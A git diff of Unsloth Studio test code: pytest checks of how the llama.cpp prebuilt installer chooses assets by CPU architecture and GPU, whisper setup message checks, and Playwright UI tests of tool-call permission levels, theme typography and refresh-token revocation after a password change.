+            has_physical_nvidia = False,
+            nvidia_smi = None,
+        )
+        release = make_release(
+            [
+                make_artifact(
+                    asset_name,
+                    install_kind = install_kind,
+                    runtime_line = None,
+                    coverage_class = None,
+                    supported_sms = [],
+                    min_sm = None,
+                    max_sm = None,
+                    bundle_profile = bundle_profile,
+                    rank = 1000,
+                )
+            ],
+            release_tag = "llama-prebuilt-latest",
+            upstream_tag = "b9625",
+            assets = {asset_name: f"https://published.example/{asset_name}"},
+        )
+        checksums = make_checksums_with_source(
+            [asset_name],
+            release_tag = release.release_tag,
+            upstream_tag = "b9625",
+        )
+
+        monkeypatch.setattr(
+            INSTALL_LLAMA_PREBUILT,
+            "iter_resolved_published_releases",
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+                [
+                    INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
+                        bundle = release,
+                        checksums = checksums,
+                    )
+                ]
+            ),
+        )
+        monkeypatch.setattr(
+            INSTALL_LLAMA_PREBUILT,
+            "github_release_assets",
+            lambda repo, tag: (_ for _ in ()).throw(
+                AssertionError("fork CPU host must not query upstream assets")
+            ),
+        )
+
+        _requested_tag, resolved_tag, attempts, _approved = resolve_install_attempts(
+            "latest",
+            host,
+            "unslothai/llama.cpp",
+            "",
+        )
+
+        assert resolved_tag == "b9625"
+        assert attempts[0].name == asset_name
+        assert attempts[0].install_kind == install_kind
+        assert attempts[0].source_label == "published"
+
+    def test_cpu_only_unsupported_arch_source_builds(self, monkeypatch):
+        # A CPU-only Linux host that is neither x86_64 nor arm64 (ppc64le,
+        # riscv64, s390x) has no compatible CPU bundle. It must source-build, not
+        # receive the x86_64 linux-cpu binary (the Linux preflight checks libs,
+        # not ELF arch, so a wrong-arch binary would slip through).
+        host = make_host(
+            machine = "ppc64le",
+            has_usable_nvidia = False,
+            has_physical_nvidia = False,
+            nvidia_smi = None,
+        )
+        assert not host.is_x86_64 and not host.is_arm64
+        x64_asset = "app-b9625-linux-x64-cpu.tar.gz"
+        release = make_release(
+            [
+                make_artifact(
+                    x64_asset,
+                    install_kind = "linux-cpu",
+                    runtime_line = None,
+                    coverage_class = None,
+                    supported_sms = [],
+                    min_sm = None,
+                    max_sm = None,
+                    bundle_profile = "linux-cpu-x64",
+                    rank = 1000,
+                )
+            ],
+            release_tag = "llama-prebuilt-latest",
+            upstream_tag = "b9625",
+            assets = {x64_asset: f"https://published.example/{x64_asset}"},
+        )
+        checksums = make_checksums_with_source(
+            [x64_asset],
+            release_tag = release.release_tag,
+            upstream_tag = "b9625",
+        )
+
+        monkeypatch.setattr(
+            INSTALL_LLAMA_PREBUILT,
+            "iter_resolved_published_releases",
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+                [
+                    INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
+                        bundle = release,
+                        checksums = checksums,
+                    )
+                ]
+            ),
+        )
+
+        with pytest.raises(PrebuiltFallback, match = "no compatible Linux prebuilt asset was found"):
+            resolve_install_attempts("latest", host, "unslothai/llama.cpp", "")
+
     def test_macos_prefers_published_asset(self, monkeypatch):
         host = make_host(
             system = "Darwin",
@@ -1883,7 +1867,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1946,7 +1930,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -2009,7 +1993,9 @@ class TestResolveInstallReleasePlans:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(releases),
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+                releases
+            ),
         )
 
         requested_tag, plans = _fork_manifest_release_plans(
@@ -2043,7 +2029,9 @@ class TestResolveInstallReleasePlans:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(releases),
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
+                releases
+            ),
         )
 
         _requested_tag, plans = _fork_manifest_release_plans(
@@ -2537,68 +2525,6 @@ class TestBlackwellCuda124Exclusion:
         assert kept == [cpu]
 
 
-# N.1c3. direct_linux_release_plan -- no silent CPU on NVIDIA hosts
-
-
-class TestDirectLinuxNvidiaCpuGate:
-    """A linux-cpu-only release on an NVIDIA host must raise (caller walks back to a usable CUDA line), not silently CPU-install. CPU-only hosts keep the CPU bundle."""
-
-    def _bundle_cpu_only(self):
-        return make_release(
-            [
-                make_artifact(
-                    "llama-b8508-bin-ubuntu-x64.tar.gz",
-                    install_kind = "linux-cpu",
-                    runtime_line = None,
-                    coverage_class = None,
-                    supported_sms = [],
-                    min_sm = None,
-                    max_sm = None,
-                    bundle_profile = None,
-                ),
-            ]
-        )
-
-    def _patch(self, monkeypatch):
-        monkeypatch.setattr(
-            INSTALL_LLAMA_PREBUILT,
-            "parse_direct_linux_release_bundle",
-            lambda repo, release: self._bundle_cpu_only(),
-        )
-        monkeypatch.setattr(
-            INSTALL_LLAMA_PREBUILT,
-            "detect_torch_cuda_runtime_preference",
-            lambda host: CudaRuntimePreference(runtime_line = None, selection_log = []),
-        )
-        monkeypatch.setattr(
-            INSTALL_LLAMA_PREBUILT,
-            "detected_linux_runtime_lines",
-            lambda: (["cuda13"], {"cuda13": ["/usr/local/cuda/lib64"]}),
-        )
-
-    def test_nvidia_host_without_cuda_line_raises_for_walkback(self, monkeypatch):
-        self._patch(monkeypatch)
-        host = make_host(driver_cuda_version = (13, 1), compute_caps = ["100"])
-        with pytest.raises(PrebuiltFallback, match = "no compatible Linux prebuilt"):
-            INSTALL_LLAMA_PREBUILT.direct_linux_release_plan(
-                {"tag_name": "b8508"}, host, "unslothai/llama.cpp", "latest"
-            )
-
-    def test_cpu_host_still_gets_cpu_bundle(self, monkeypatch):
-        self._patch(monkeypatch)
-        host = make_host(
-            nvidia_smi = None,
-            driver_cuda_version = None,
-            compute_caps = [],
-            has_physical_nvidia = False,
-            has_usable_nvidia = False,
-        )
-        plan = INSTALL_LLAMA_PREBUILT.direct_linux_release_plan(
-            {"tag_name": "b8508"}, host, "unslothai/llama.cpp", "latest"
-        )
-        assert [a.install_kind for a in plan.attempts] == ["linux-cpu"]
-
-
 class TestLinuxPublishedAttemptsNvidiaCpuGate:
     """Live fork-manifest path: an NVIDIA host whose CUDA selection finds nothing gets an empty attempt list (source-builds with CUDA), not the manifest CPU bundle. CPU-only hosts still get the CPU bundle."""
 
@@ -3447,8 +3373,9 @@ class TestLinuxArm64ForkFallsBackToSource:
         assert plans == ["plan"]
 
     def test_arm64_cpu_on_ggml_org_is_not_blocked(self, monkeypatch):
-        # CPU-only arm64 routes to ggml-org, so the guard must not fire; it reaches the
-        # iterator (empty here -> generic message).
+        # ggml-org is reachable only via an explicit --published-repo override now,
+        # but the guard must still not fire on arm64 there; it reaches the iterator
+        # (empty here -> generic message).
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_release_payloads_by_time",
@@ -3474,7 +3401,7 @@ class TestLinuxArm64ForkFallsBackToSource:
 
 
 class TestCpuFallback:
-    """--cpu-fallback drops GPU attributes so the host's OS/arch CPU prebuilt is selected, letting an arm64 GPU host install ggml-org's arm64 CPU build when its source build produced no binary."""
+    """--cpu-fallback drops GPU attributes so the host's OS/arch CPU prebuilt is selected, letting an arm64 GPU host install the fork's arm64 CPU bundle when its source build produced no binary."""
 
     _SETUP_SH = PACKAGE_ROOT / "studio" / "setup.sh"
 
@@ -3553,10 +3480,15 @@ class TestCpuFallback:
 
     def test_setup_sh_has_arm64_cpu_prebuilt_fallback(self):
         source = self._SETUP_SH.read_text(encoding = "utf-8")
-        assert "--cpu-fallback" in source
-        # Fallback targets ggml-org (only repo with an arm64 Linux build), gated on a
-        # degraded arm64 source build.
-        assert "ggml-org/llama.cpp" in source
+        # The arm64 GPU last-resort CPU fallback now pulls the fork's arm64 CPU
+        # bundle (app-<tag>-linux-arm64-cpu.tar.gz), not ggml-org's, and is gated
+        # on a degraded source build for arm64.
+        start = source.index("_ARM64_CPU_CMD=(")
+        end = source.index(")", start)
+        block = source[start:end]
+        assert "--cpu-fallback" in block
+        assert '--published-repo "unslothai/llama.cpp"' in block
+        assert '--published-repo "ggml-org/llama.cpp"' not in block
         assert "_LLAMA_CPP_DEGRADED" in source
 
 
@@ -3565,7 +3497,7 @@ class TestCpuFallback:
 # ===========================================================================
 
 
-@pytest.mark.skipif(sys.platform == "win32", reason = "bash-only Studio installer tests")
+@pytest.mark.skipif(sys.platform == "win32", reason = "bash-only Unsloth installer tests")
 class TestCudaDriverToolkitMismatchMessage:
     _SETUP_SH = PACKAGE_ROOT / "studio" / "setup.sh"
     _SETUP_PS1 = PACKAGE_ROOT / "studio" / "setup.ps1"
@@ -3770,7 +3702,7 @@ class TestCudaDriverToolkitMismatchMessage:
             "or install a CUDA $driverMajor.x toolkit." in source
         )
         assert (
-            "Or let Studio use the prebuilt CUDA bundle; it does not need the local toolkit."
+            "Or let Unsloth use the prebuilt CUDA bundle; it does not need the local toolkit."
         ) in source
         assert (
             "Write-CudaDriverToolkitMismatch -ToolkitVersion $IncompatibleToolkit "
diff --git a/tests/studio/install/test_setup_whisper_status.py b/tests/studio/install/test_setup_whisper_status.py
new file mode 100644
index 0000000000..fd3bd82507
--- /dev/null
+++ b/tests/studio/install/test_setup_whisper_status.py
@@ -0,0 +1,29 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+"""Contract checks for actionable whisper prebuilt setup outcomes."""
+
+from pathlib import Path
+
+
+ROOT = Path(__file__).resolve().parents[3]
+
+
+def test_shell_setup_distinguishes_release_skew_from_install_failure():
+    script = (ROOT / "studio" / "setup.sh").read_text(encoding = "utf-8")
+    assert 'if [ "$_WHISPER_STATUS" -eq 2 ]' in script
+    assert "installed llama.cpp ${_WHISPER_INSTALLED_TAG:-unknown}" in script
+    assert "whisper requires ${_WHISPER_REQUIRED_TAG:-unknown}" in script
+    assert "prebuilt install failed" in script
+    assert "retry setup or inspect verbose output" in script
+    assert "curated whisper.cpp dictation is unavailable" in script
+    assert "browser and Transformers dictation remain available" in script
+
+
+def test_powershell_setup_distinguishes_release_skew_from_install_failure():
+    script = (ROOT / "studio" / "setup.ps1").read_text(encoding = "utf-8")
+    assert "elseif ($whisperExit -eq 2)" in script
+    assert "installed llama.cpp $installedWhisperLlamaTag" in script
+    assert "whisper requires $requiredWhisperLlamaTag" in script
+    assert "prebuilt install failed" in script
+    assert "retry setup or inspect verbose output" in script
+    assert "curated whisper.cpp dictation is unavailable" in script
+    assert "browser and Transformers dictation remain available" in script
diff --git a/tests/studio/playwright_chat_ime_i18n.py b/tests/studio/playwright_chat_ime_i18n.py
index 9c01e95fd4..5bebf0a9e8 100644
--- a/tests/studio/playwright_chat_ime_i18n.py
+++ b/tests/studio/playwright_chat_ime_i18n.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Studio chat composer IME + multilingual regression smoke.
+"""Unsloth chat composer IME + multilingual regression smoke.
 
 Covers: stuck IME composition (#5318 / PR #5327), multilingual paste round-trip,
 stuck compositionend (#5546), and Mac input-method switch recovery (keydown/blur).
diff --git a/tests/studio/playwright_chat_ui.py b/tests/studio/playwright_chat_ui.py
index a53534acc0..a06e559100 100644
--- a/tests/studio/playwright_chat_ui.py
+++ b/tests/studio/playwright_chat_ui.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Comprehensive Studio chat UI test, run locally + in CI."""
+"""Comprehensive Unsloth chat UI test, run locally + in CI."""
 
 import json
 import os
@@ -52,6 +52,14 @@ TURN_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_TURN_TIMEOUT_MS", "180000"))
 # Wall-clock cap for the whole script (healthy run is 5-9 min).
 WALL_TIMEOUT_S = float(os.environ.get("STUDIO_UI_WALL_TIMEOUT_S", "720"))
 
+# Run only bootstrap plus permission controls for fast cross-browser checks.
+PERMISSION_ONLY = os.environ.get("STUDIO_UI_PERMISSION_ONLY", "0") == "1"
+
+# Default stays Chromium for CI. Local runs can select firefox/webkit or a
+# Chromium channel such as chrome/msedge.
+PLAYWRIGHT_BROWSER = os.environ.get("STUDIO_PLAYWRIGHT_BROWSER", "chromium").lower()
+PLAYWRIGHT_CHANNEL = os.environ.get("STUDIO_PLAYWRIGHT_CHANNEL") or None
+
 # Per-fetch budget; /api/inference/load is the slowest (cold-cache GGUF load).
 FETCH_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_FETCH_TIMEOUT_MS", "30000"))
 LOAD_FETCH_TIMEOUT_MS = int(os.environ.get("STUDIO_UI_LOAD_TIMEOUT_MS", "180000"))
@@ -116,6 +124,126 @@ def soft_fail(m):
     info(f"WARN (strict-off): {m}")
 
 
+def exercise_permission_mode_controls(page, shoot):
+    """Exercise labels, migration, persistence, confirmation, and focus."""
+    step("permission levels: labels, persistence, confirmation, and focus")
+    pill = page.locator('button[aria-label="Permission level for tool calls"]:visible').first
+    expect(pill).to_be_visible()
+
+    def expect_mode(label):
+        expect(pill).to_have_attribute("data-pill-label", label)
+        expect(pill).to_contain_text(label)
+
+    def open_menu():
+        pill.click()
+        menu = page.get_by_role("menu").last
+        expect(menu).to_be_visible()
+        return menu
+
+    def choose(label):
+        menu = open_menu()
+        item = menu.get_by_role("menuitem").filter(has_text = label).first
+        expect(item).to_be_visible()
+        item.click()
+
+    # Fresh profiles default to Approve for me.
+    expect_mode("Approve for me")
+    menu = open_menu()
+    for label in (
+        "Ask for approval",
+        "Approve for me",
+        "Run automatically",
+        "Full access",
+    ):
+        expect(menu.get_by_role("menuitem").filter(has_text = label).first).to_be_visible()
+    if menu.get_by_text("Off", exact = True).count() != 0:
+        fail("legacy Off label is still visible")
+    if menu.locator('[role="menuitem"] button, [role="menuitem"] [role="button"]').count():
+        fail("permission menu contains nested interactive controls")
+    page.keyboard.press("Escape")
+    expect(pill).to_be_focused()
+
+    # The active row is a no-op and must not open the Full access dialog.
+    choose("Approve for me")
+    expect_mode("Approve for me")
+    expect(page.get_by_role("alertdialog")).to_have_count(0)
+
+    # Pointer and compact-layout coverage.
+    page.set_viewport_size({"width": 390, "height": 844})
+    expect(pill).to_be_visible()
+    box = pill.bounding_box()
+    if box is None or box["x"] < 0 or box["x"] + box["width"] > 390:
+        fail(f"permission pill is clipped in compact layout: {box!r}")
+    page.set_viewport_size({"width": 1280, "height": 900})
+
+    # Legacy setting migration: true -> ask, false -> off, absent -> auto.
+    migration_cases = (
+        ("true", "Ask for approval"),
+        ("false", "Run automatically"),
+        (None, "Approve for me"),
+    )
+    for legacy_value, expected_label in migration_cases:
+        page.evaluate(
+            """(legacyValue) => {
+                localStorage.removeItem("unsloth_chat_permission_mode");
+                if (legacyValue === null) {
+                    localStorage.removeItem("unsloth_chat_confirm_tool_calls");
+                } else {
+                    localStorage.setItem(
+                        "unsloth_chat_confirm_tool_calls",
+                        legacyValue,
+                    );
+                }
+            }""",
+            legacy_value,
+        )
+        page.reload(wait_until = "domcontentloaded")
+        expect(pill).to_be_visible()
+        expect_mode(expected_label)
+
+    choose("Run automatically")
+    expect_mode("Run automatically")
+    expect(page.locator('button[data-pill-label="Search"]:visible').first).to_be_visible()
+    expect(page.locator('button[data-pill-label="Code"]:visible').first).to_be_visible()
+    stored = page.evaluate("() => localStorage.getItem('unsloth_chat_permission_mode')")
+    if stored != "off":
+        fail(f"Run automatically persisted {stored!r}, expected 'off'")
+
+    # Full access requires explicit consent and never overwrites persistence.
+    choose("Full access")
+    dialog = page.get_by_role("alertdialog")
+    expect(dialog).to_be_visible()
+    expect(dialog.get_by_role("heading", name = "Enable Full access?")).to_be_visible()
+    expect(dialog).to_contain_text("the code sandbox")
+    dialog.get_by_role("button", name = "Cancel").click()
+    expect(dialog).to_be_hidden()
+    expect_mode("Run automatically")
+
+    choose("Full access")
+    expect(dialog).to_be_visible()
+    dialog.get_by_role("button", name = "I understand").click()
+    expect_mode("Full access")
+    expect(pill).to_have_attribute("data-variant", "danger")
+    active_icon = pill.locator(".composer-pill-glyph > :first-child")
+    pill.hover()
+    page.wait_for_timeout(200)
+    icon_opacity = float(active_icon.evaluate("el => getComputedStyle(el).opacity"))
+    if icon_opacity < 0.5:
+        fail(f"Full access icon disappeared on hover (opacity={icon_opacity})")
+    stored = page.evaluate("() => localStorage.getItem('unsloth_chat_permission_mode')")
+    if stored != "off":
+        fail(f"Full access overwrote persisted mode with {stored!r}")
+
+    page.reload(wait_until = "domcontentloaded")
+    expect(pill).to_be_visible()
+    expect_mode("Run automatically")
+
+    # Leave the full chat smoke in the fresh-install default.
+    choose("Approve for me")
+    expect_mode("Approve for me")
+    shoot("04-permission-levels")
+
+
 def login_via_api(pw):
     req = urllib.request.Request(
         f"{BASE}/api/auth/login",
@@ -145,21 +273,36 @@ with sync_playwright() as p:
     # DB is still migrating; this 30s probe catches that gap before we
     # sink 60s into a change-password timeout. Diagnostic only.
     wait_for_health(BASE, timeout = 30.0, info = info)
-    # Chromium launch args: see `tests/studio/_playwright_robust.py`.
-    browser = p.chromium.launch(
-        headless = True,
-        args = chromium_launch_args(),
-    )
+    if PLAYWRIGHT_BROWSER not in ("chromium", "firefox", "webkit"):
+        fail(f"unsupported STUDIO_PLAYWRIGHT_BROWSER={PLAYWRIGHT_BROWSER!r}")
+    browser_type = getattr(p, PLAYWRIGHT_BROWSER)
+    launch_kwargs = {"headless": True}
+    if PLAYWRIGHT_BROWSER == "chromium":
+        launch_kwargs["args"] = chromium_launch_args()
+        if PLAYWRIGHT_CHANNEL:
+            launch_kwargs["channel"] = PLAYWRIGHT_CHANNEL
+    elif PLAYWRIGHT_CHANNEL:
+        fail("STUDIO_PLAYWRIGHT_CHANNEL requires chromium")
+    browser = browser_type.launch(**launch_kwargs)
     ctx = browser.new_context(
         viewport = {"width": 1280, "height": 900},
         # Reduce motion so view-transition animations don't intercept
         # pointer events and break Playwright's actionability check.
         reduced_motion = "reduce",
     )
-    # Hard-disable CSS view-transitions: Studio's theme toggle + sidebar
+    # Hard-disable CSS view-transitions: Unsloth's theme toggle + sidebar
     # collapse run startViewTransition() which can leave <html> intercepting
     # pointer events for a beat after each route swap. See _playwright_robust.py.
     install_view_transition_killer(ctx)
+    system_requests: list[str] = []
+    ctx.on(
+        "request",
+        lambda request: (
+            system_requests.append(request.url)
+            if request.url.split("?", 1)[0].endswith("/api/system")
+            else None
+        ),
+    )
     page = ctx.new_page()
     # 60s default (was 30s): macos-14 under --single-process Chromium is
     # slow enough that renders/webfonts/lazy routes routinely crowd 30s.
@@ -355,6 +498,15 @@ with sync_playwright() as p:
         raise last_err
     shoot("03-chat-loaded")
 
+    exercise_permission_mode_controls(page, shoot)
+    if PERMISSION_ONLY:
+        info(
+            "permission-only run passed "
+            f"(browser={PLAYWRIGHT_BROWSER}, channel={PLAYWRIGHT_CHANNEL or 'bundled'})"
+        )
+        browser.close()
+        sys.exit(0)
+
     # /api/models/list and /api/inference/load need a bearer; the
     # frontend stores it under "unsloth_auth_token" (auth/session.ts).
     token = robust_evaluate(
@@ -380,6 +532,18 @@ with sync_playwright() as p:
                 fail(f"/api/auth/refresh wedged: {refresh_resp['error']!r}")
             refresh = refresh_resp.get("body") or {}
             token = (refresh or {}).get("access_token")
+            next_refresh_token = (refresh or {}).get("refresh_token")
+            if token and next_refresh_token:
+                robust_evaluate(
+                    page,
+                    """([accessToken, refreshToken]) => {
+                        localStorage.setItem('unsloth_auth_token', accessToken);
+                        localStorage.setItem('unsloth_auth_refresh_token', refreshToken);
+                    }""",
+                    [token, next_refresh_token],
+                )
+            elif token:
+                fail("/api/auth/refresh returned access_token but no refresh_token")
     if not token:
         fail("could not obtain auth token after change-password")
 
@@ -456,7 +620,7 @@ with sync_playwright() as p:
         fail(f"/api/inference/load returned {load_resp['status']}: {load_resp.get('body')!r}")
     info(f"loaded model: {(load_resp['body'] or {}).get('display_name')}")
 
-    # Studio caches model state in zustand; reload so the composer picks
+    # Unsloth caches model state in zustand; reload so the composer picks
     # up the loaded model.
     page.reload()
     composer = page.locator('textarea[aria-label="Message input"]')
@@ -472,7 +636,7 @@ with sync_playwright() as p:
     # (app-sidebar.tsx) -- as stable as anything in the codebase.
     picker_btn = page.locator('[data-tour="chat-model-selector"]').first
     if picker_btn.count() == 0:
-        # Fall back to text-based locators for older Studio builds.
+        # Fall back to text-based locators for older Unsloth builds.
         picker_btn = page.locator(
             'button:has-text("gemma-3-270m"), '
             'button:has-text("Gemma 3"), '
@@ -657,10 +821,16 @@ with sync_playwright() as p:
     last_assistant = page.locator('[data-role="assistant"]').last
     last_assistant.hover()
     page.wait_for_timeout(400)
-    regen_btn = page.get_by_role(
-        "button",
-        name = re.compile(r"(reload|regenerate)", re.I),
-    ).first
+    # Exclude disabled controls: the picker's new disabled "Reload model"
+    # button also matches and sorts first, so .first would target it.
+    regen_btn = (
+        page.get_by_role(
+            "button",
+            name = re.compile(r"(reload|regenerate)", re.I),
+        )
+        .and_(page.locator("button:not([disabled])"))
+        .first
+    )
     if regen_btn.count() > 0:
         regen_btn.click()
         try:
@@ -766,6 +936,70 @@ with sync_playwright() as p:
             page.keyboard.press("Escape")
         page.wait_for_timeout(300)
 
+    def read_chat_typography():
+        """Read message typography after a user-driven theme transition."""
+        return robust_evaluate(
+            page,
+            """() => {
+                const root = document.documentElement;
+                const assistant = Array.from(
+                    document.querySelectorAll('.aui-assistant-message-root')
+                );
+                const user = Array.from(
+                    document.querySelectorAll('.aui-user-message-root')
+                );
+                if (assistant.length === 0 || user.length === 0) {
+                    return { error: 'chat message roots are missing' };
+                }
+                const ua = navigator.userAgent.toLowerCase();
+                const role = (nodes) => {
+                    const styles = nodes.map((node) => getComputedStyle(node));
+                    return {
+                        fontWeight: [...new Set(styles.map((style) => style.fontWeight))],
+                        letterSpacing: [...new Set(styles.map((style) => style.letterSpacing))],
+                    };
+                };
+                return {
+                    actualRenderLinux: root.classList.contains('render-linux'),
+                    isDesktopLinux: ua.includes('linux') && !ua.includes('android'),
+                    isDark: root.classList.contains('dark'),
+                    usesBaselineTypography: (
+                        root.classList.contains('no-font-smoothing') ||
+                        root.hasAttribute('data-chat-font') ||
+                        root.hasAttribute('data-ui-font')
+                    ),
+                    assistant: role(assistant),
+                    user: role(user),
+                };
+            }""",
+        )
+
+    def assert_chat_typography(label, typography):
+        if typography.get("error"):
+            fail(typography["error"])
+        if typography["actualRenderLinux"] != typography["isDesktopLinux"]:
+            fail(f"desktop Linux detection mismatch: {typography!r}")
+        is_dark = typography["isDark"]
+        expected_spacing = "0.31px" if is_dark else "0.155px"
+        if typography["isDesktopLinux"] and not typography["usesBaselineTypography"]:
+            expected_weight = "350" if is_dark else "390"
+            if is_dark:
+                expected_spacing = "0.3565px"
+        else:
+            expected_weight = "410"
+        for role in ("assistant", "user"):
+            actual = typography[role]
+            if actual["fontWeight"] != [expected_weight]:
+                fail(
+                    f"chat font weight {label}/{role}: expected {expected_weight}, "
+                    f"got {actual['fontWeight']!r}"
+                )
+            if actual["letterSpacing"] != [expected_spacing]:
+                fail(
+                    f"chat letter spacing {label}/{role}: expected {expected_spacing}, "
+                    f"got {actual['letterSpacing']!r}"
+                )
+
     # ─────────────────────────────────────────────────────
     # 9. Theme toggle -- multiple cycles + computed-bg-color check
     # (light is near-white >240; dark is near-black <40).
@@ -774,6 +1008,7 @@ with sync_playwright() as p:
     if acct.count() > 0:
         step("theme toggle x3 with computed-color assertion")
         observed = []
+        typography_states = []
         for cycle in range(3):
             # Wait for any prior dropdown to fully detach: clicking while
             # the view-transition is still open no-ops silently. The
@@ -862,6 +1097,9 @@ with sync_playwright() as p:
             }""",
             )
             observed.append(bg)
+            typography = read_chat_typography()
+            assert_chat_typography(f"theme-cycle-{cycle + 1}", typography)
+            typography_states.append(typography)
             shoot(f"10-theme-cycle-{cycle + 1}")
             info(f"  cycle {cycle + 1}: dark={bg['isDark']} body bg={bg['bg']!r}")
         # Across cycles we should see both a near-white (light) and a
@@ -872,7 +1110,7 @@ with sync_playwright() as p:
         if len(observed) < 3:
             soft_fail(f"theme toggle ran only {len(observed)} cycle(s), expected 3")
         # Don't strict-fail on both polarities: the runner's
-        # prefers-color-scheme + Studio's "system" default can collapse
+        # prefers-color-scheme + Unsloth's "system" default can collapse
         # to one polarity even when .dark toggles correctly. The 3-cycle
         # completion above is the real invariant.
         if light_seen and dark_seen:
@@ -884,6 +1122,20 @@ with sync_playwright() as p:
                 "(toggle may not flip on this runner's color-scheme)"
             )
 
+        # These are user-driven theme transitions, not synthetic class
+        # changes. A completed three-cycle toggle must expose both typography
+        # states before we check the Linux selector.
+        if len(typography_states) != 3:
+            soft_fail(
+                f"chat typography observed {len(typography_states)} theme state(s), expected 3"
+            )
+        elif {state["isDark"] for state in typography_states} != {False, True}:
+            soft_fail(f"chat typography did not observe both themes: {typography_states!r}")
+        else:
+            info("OK chat typography platform and theme behavior")
+    else:
+        soft_fail("chat typography requires the account-menu theme control")
+
     # ─────────────────────────────────────────────────────
     # 10. Sidebar nav: New Chat, Compare, Search, Recipes.
     # ─────────────────────────────────────────────────────
@@ -1169,6 +1421,13 @@ with sync_playwright() as p:
         fail(f"curl login returned no access_token: {login_body!r}")
     info("CLI obtained an access token")
 
+    browser_refresh_token = robust_evaluate(
+        page,
+        "() => localStorage.getItem('unsloth_auth_refresh_token')",
+    )
+    if not browser_refresh_token:
+        fail("browser refresh token missing before CLI rotation")
+
     change_proc = subprocess.run(
         [
             "curl",
@@ -1203,47 +1462,194 @@ with sync_playwright() as p:
 
     # /change-password revoked refresh tokens server-side (auth.py), so
     # the browser's /api/auth/refresh must now fail.
-    refresh_after = evaluate_fetch(
-        page,
-        f"{BASE}/api/auth/refresh",
-        method = "POST",
-        timeout_ms = FETCH_TIMEOUT_MS,
+    refresh_proc = subprocess.run(
+        [
+            "curl",
+            "-sS",
+            "-o",
+            os.devnull,
+            "-w",
+            "%{http_code}",
+            "-X",
+            "POST",
+            f"{BASE}/api/auth/refresh",
+            "-H",
+            "Content-Type: application/json",
+            "-d",
+            json.dumps({"refresh_token": browser_refresh_token}),
+        ],
+        capture_output = True,
+        text = True,
+        timeout = 15,
     )
-    if refresh_after.get("error"):
-        fail(f"/api/auth/refresh wedged: {refresh_after['error']!r}")
-    if refresh_after["status"] == 200:
+    if refresh_proc.returncode != 0:
+        fail(
+            f"curl refresh-token check failed: rc={refresh_proc.returncode} "
+            f"stderr={refresh_proc.stderr!r} stdout={refresh_proc.stdout!r}"
+        )
+    try:
+        refresh_status = int(refresh_proc.stdout.strip())
+    except ValueError:
+        fail(f"curl refresh-token check returned invalid status: " f"{refresh_proc.stdout!r}")
+    if refresh_status == 200:
         fail(f"/api/auth/refresh should fail after CLI rotation; got 200")
     info(
-        f"OK browser /api/auth/refresh now {refresh_after['status']} "
+        f"OK browser /api/auth/refresh now {refresh_status} "
         "(refresh token revoked) -- old studio session can no longer renew"
     )
 
     # ─────────────────────────────────────────────────────
-    # 17. Shutdown via the account menu. The "Stop server" action
-    # POSTs /api/shutdown, swaps in the "Unsloth Studio has stopped"
-    # placeholder, and /api/health goes unreachable shortly after.
+    # 17. Persisted monitor auth boundary, then shutdown. A monitor left open
+    # must stay dormant on /login and resume after successful authentication.
     # ─────────────────────────────────────────────────────
-    step("Shutdown via account menu")
-    # Re-login with NEW2 for a valid /api/shutdown token (CLI rotation
-    # invalidated the old one). The stale token can make the SPA auth guard
-    # abort this goto with ERR_ABORTED, or redirect to the same /login URL
-    # ("interrupted by another navigation"); resolve on domcontentloaded and
-    # tolerate either -- the pw-field wait below confirms we are on /login.
-    _tolerated_nav = ("ERR_ABORTED", "interrupted by another navigation")
+    step("persisted monitor stays dormant on /login and resumes after auth")
+    # Start fresh after the CLI rotation invalidates this browser session.
+    # Stay in the SAME context: macOS Chromium runs --single-process, where
+    # closing the last context kills the browser and a second context cannot
+    # be created. Open the new page before closing the old one; the context
+    # init script covers the new page.
     try:
-        page.goto(f"{BASE}/login", wait_until = "domcontentloaded", timeout = 60_000)
+        ctx.clear_cookies()
     except Exception as exc:
-        if not any(t in str(exc) for t in _tolerated_nav):
-            raise
-        info(f"goto /login interrupted ({exc!r}); password-field wait will confirm /login")
-    pw_field = page.locator("#password")
-    pw_field.wait_for(state = "visible", timeout = 60_000)
-    pw_field.fill(NEW2)
-    page.locator('button[type="submit"]').click()
+        info(f"WARN clearing stale session cookies failed: {exc!r}")
+    robust_evaluate(
+        page,
+        """() => localStorage.setItem(
+            "unsloth_monitor_overlay",
+            JSON.stringify({ state: { isOpen: true, isMinimized: false }, version: 0 })
+        )""",
+    )
+    # Auth tokens live in localStorage, and /login's guest guard redirects on
+    # their mere presence, so drop them before navigating.
+    try:
+        page.evaluate(
+            "['unsloth_auth_token', 'unsloth_auth_refresh_token']"
+            ".forEach((key) => localStorage.removeItem(key))"
+        )
